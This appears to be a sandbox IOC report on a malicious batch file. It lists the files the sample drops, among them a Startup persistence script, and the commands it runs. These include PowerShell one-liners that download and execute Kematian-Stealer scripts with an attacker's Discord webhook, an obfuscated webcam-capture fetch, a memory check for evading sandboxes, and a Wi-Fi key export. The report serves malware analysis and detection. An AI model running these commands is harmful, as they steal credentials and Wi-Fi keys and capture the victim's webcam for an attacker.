IOC Report
thegreatestexecutor.bat

thegreatestexecutor.bat

Unicode text, UTF-16, little-endian text, with very long lines (32767), with no line terminators

initial sample

C:\Users\user\AppData\Local\Temp\bekownh2\bekownh2.cmdline

Unicode text, UTF-8 (with BOM) text, with very long lines (717), with no line terminators

dropped

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\fr.bat

Unicode text, UTF-16, little-endian text, with very long lines (32767), with no line terminators

dropped

C:\Windows\System32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\thegreatestexecutor.bat" "

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "if((gcim Win32_PhysicalMemory | measure -Property capacity -Sum).sum /1gb -lt 4) {spps -f -n 'cmd' -ErrorAction SilentlyContinue;exit 1}"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -nop -c "Write-Host -NoNewLine $null"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -nop -c "Write-Host -NoNewLine $null"

C:\Windows\System32\rundll32.exe

rundll32

C:\Windows\System32\mshta.exe

mshta vbscript:close(createobject("wscript.shell").run("powershell $ProgressPreference = 'SilentlyContinue';$t = Iwr -Uri 'https://raw.githubusercontent.com/ChildrenOfYahweh/Kematian-Stealer/main/frontend-src/main.ps1' -UseBasicParsing; $t -replace 'YOUR_WEBHOOK_HERE', 'https://discord.com/api/webhooks/1245964468803076146/sUQk99W99wQnOZBfrCW8tRsn0TetpTuD0yNK0N7xwUeiPnwMv6HDm9VYbCjVT-FA2zdw' | iex",0))

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ProgressPreference = 'SilentlyContinue';$t = Iwr -Uri 'https://raw.githubusercontent.com/ChildrenOfYahweh/Kematian-Stealer/main/frontend-src/main.ps1' -UseBasicParsing; $t -replace 'YOUR_WEBHOOK_HERE', 'https://discord.com/api/webhooks/1245964468803076146/sUQk99W99wQnOZBfrCW8tRsn0TetpTuD0yNK0N7xwUeiPnwMv6HDm9VYbCjVT-FA2zdw' | iex

C:\Windows\System32\netsh.exe

"C:\Windows\system32\netsh.exe" wlan export profile folder=C:\Users\user~1\AppData\Local\Temp\wifi key=clear

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" I'E'X((New-Object Net.Webclient)."DowNloAdSTRiNg"('https://github.com/Somali-Devs/Kematian-Stealer/raw/main/frontend-src/webcam.ps1'))

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bekownh2\bekownh2.cmdline"